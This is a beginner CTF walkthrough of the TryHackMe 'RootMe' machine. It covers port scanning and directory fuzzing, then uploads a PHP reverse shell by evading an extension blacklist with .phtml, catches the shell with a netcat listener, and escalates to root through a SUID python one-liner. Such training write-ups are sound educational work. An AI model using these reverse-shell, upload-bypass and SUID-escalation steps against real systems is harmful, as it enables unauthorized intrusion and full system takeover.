December 11, 20225 minutes

A CTF for beginners, can you root me?

https://tryhackme.com/room/rrootme

Attacker IP = 10.10.10.10

Target IP = 10.10.108.243

Reconnaissance#

First of all, we check whether the machine is up and which OS it runs

❯ ping -c 1 10.10.108.243
PING 10.10.108.243 (10.10.108.243) 56(84) bytes of data.
64 bytes from 10.10.108.243: icmp_seq=1 ttl=63 time=77.9 ms

--- 10.10.108.243 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 77.935/77.935/77.935/0.000 ms

In this case it returns a TTL (time to live) of 63, knowing that ttl=64: Linux / ttl=128: Windows. This machine is most likely Linux

Port scan (nmap)#

Now we start with a port scan

nmap -p- --open -sS --min-rate 5000 -n -vvv -Pn 10.10.108.243 -oG allPort

With a function defined in .zshrc called extractPorts, we get the open ports in a more visual way

extractPorts function by @s4vitar

❯ extractPorts allPort
───────┬────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼────────────────────────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 10.10.108.243
   5   │     [*] Open ports: 22,80
   6   │ 
   7   │ [*] Ports copied to clipboard
   8   │ 
───────┴────────────────────────────────────────────────────────

Now, with nmap, we try to find the versions of the services on those ports and run basic reconnaissance scripts

❯ nmap -p22,80 -sC -sV 10.10.108.243 -oN target

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4ab916884c25448ba5cfd3f2252214 (RSA)
|   256 a9a686e8ec963f003cd16d54973082 (ECDSA)
|_  256 22f6b5a654d9787c26035a953f9dfcd (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: HackIT - Home
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set

Web#

With whatweb we can get info about the website

❯ whatweb 10.10.108.243
http://10.10.108.243 [200 OK] Apache[2.4.29], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.108.243], Script, Title[HackIT - Home]

When we open the website, there is only text

Looking for subdirectories (wfuzz)#

To see whether there are subdirectories, we’ll use wfuzz to fuzz with a wordlist located at /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt with the following command:

wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.108.243/FUZZ

wfuzz reports the following

=====================================================================
ID           Response   Lines    Word       Chars       Payload                  
=====================================================================
000000550:   301        9 L      28 W       312 Ch      "css"
000000953:   301        9 L      28 W       311 Ch      "js"                     
000005520:   301        9 L      28 W       314 Ch      "panel"                  
000000164:   301        9 L      28 W       316 Ch      "uploads"
000095524:   403        9 L      28 W       278 Ch      "server-status"

When we open /panel, there is a place to upload files

We try uploading a random photo and see that it shows up in /uploads

Web vulnerability#

Seeing this, we’ll try to upload a .php file to get a reverse shell. This file is from pentestmonkey: https://github.com/pentestmonkey/php-reverse-shell

First we copy it to our machine

git clone https://github.com/pentestmonkey/php-reverse-shell 

Then we listen on port 443

nc -nlvp 443

And now we upload the file to /panel

Error!

It doesn’t accept PHP files. Administrators can blacklist specific file extensions and prevent users from uploading files with extensions considered dangerous. This can be bypassed by using alternative or even unrelated extensions.

Example PHP extensions —> .phtml, .php3, .php4, .php5

Let’s try the first one (.phtml): we rename the file from php-reverse-shell.php to php-reverse-shell.phtml

Now it likes it

From /uploads we click on the file we uploaded and get a connection

❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.10.10] from (UNKNOWN) [10.10.108.243] 37418
Linux rootme 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 13:52:50 up 48 min,  0 users,  load average: 0.00, 0.00, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ 

TTY upgrade#

First, to work more comfortably, we upgrade the terminal with the following commands:

script /dev/null -c bash

ctrl + z

stty raw -echo; fg

reset

xterm

export SHELL=bash

export TERM=xterm

Flags#

The first flag, user.txt, is in /var/www

The root flag is in /root, but we don’t have permission to access it. With the history command, we can see two interesting commands…

10  find / -perm /4000
11  python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

What the find / -perm /4000 command does is find all programs with the SUID permission; in this case python has SUID

What is the SUID permission?

Sometimes a program needs to run with its owner’s privileges instead of the privileges of the user running it. An example is the passwd command, which needs root privileges because it has to write to /etc/passwd or /etc/shadow. These programs are a potential danger on a system: if they are misused and the owner has privileges (root), whoever runs them can do on the system everything the program’s owner is allowed to do.

The python -c 'import os; os.execl("/bin/sh", "sh", "-p")' command spawns a shell, and since python runs as root, the shell it spawns runs as root

Now we can read the flag with cat /root/root.txt